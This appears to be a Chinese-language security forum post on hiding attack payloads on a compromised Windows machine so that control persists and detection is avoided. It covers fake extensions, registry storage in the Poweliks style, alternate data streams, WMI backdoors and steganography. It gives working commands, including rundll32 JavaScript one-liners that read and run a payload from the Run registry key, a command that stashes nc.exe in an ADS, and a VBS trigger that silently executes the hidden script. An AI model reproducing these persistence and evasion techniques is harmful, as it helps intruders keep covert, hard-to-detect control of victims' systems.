整理一下payload隐藏的相关技巧,也想向大家学习一下更好的经验思路:)
0x00 目标:
维持对目标主机的控制权限
0x01 要求:
尽最大程度减少在目标windows主机留下文件,降低被发现被捕获样本的概率
0x02 方法:
1、伪造文件后缀名
使用不常见的后缀名,藏于系统的某个角落
分析:
最简单直接的办法,但被发现的概率也最大
2、插入正常文件
将payload保存到系统正常文件的中间或者尾部
分析:
比方法1高级一些,复杂度+1,没有单独生成文件,隐蔽性+2
3、藏于注册表
将payload加密存于注册表
分析:
易被监控,隐蔽性-1,但poweliks的运用使该项技术创新性+2
poweliks简介:
2014年8月左右出现
XCon2015《应用层持久化攻击技术》也对此做了介绍
特点:
将payload保存为非ASCII字符,无法被注册表正常读取
运行代码方式:
(1)直接执行jscript
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";alert('foo');
(2)读取注册表payload并执行
HKCU\\software\\microsoft\\windows\\currentversion\\run\\
读取并执行
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write("\74script language=jscript>"+(new%20ActiveXObject("WScript.Shell")).RegRead("HKCU\\software\\microsoft\\windows\\currentversion\\run\\")+"\74/script>")
如图
补充:
一个加密jscript的网站:http://tool.lu/js/
4、ADS (供选数据流/ alternate data stream)
将payload存入正常文件的ADS中
分析:
适用于长度较小的payload,常用来执行vbs、Powershell脚本,效率+1,实现难度-1
常用命令:
列出文件ADS
dir /r test.txt
写入ADS
type nc.exe > test.txt:nc.exe
触发器
该触发器是一段VB脚本,会打开一个cmd运行test.txt:1 里的脚本
echo Dim objShell:Set objShell = WScript.CreateObject("WScript.Shell"):command = "cmd /C for /f ""delims=,"" %i in (C:\\test\\test.txt:1) do %i":objShell.Run command, 0:Set objShell = Nothing > test.txt:run.vbs
5、wmibackdoor
将payload存入WMI Class中,详情见drops链接:http://drops.wooyun.org/tips/8260
分析:
该方法目前普及不高,检测方法也很单一,所以payload放在这里隐蔽性+3
6、Steganography
隐写术,将payload存到图片中,甚至可以伪造windows中的默认图片
分析:
隐写术由来已久,但门槛很高,复杂度+1,因此检测成本也很高,隐蔽性+3
下图存入了我的payload,如果有兴趣的同学解密出来送他wb:)
0x03 小结
ring0下隐藏未涉及,愿意分享的同学也送你wb:)
如果发现我的理解有误,请及时指出~
希望大家把思路分享出来,共同学习共同进步~
留言评论(旧系统):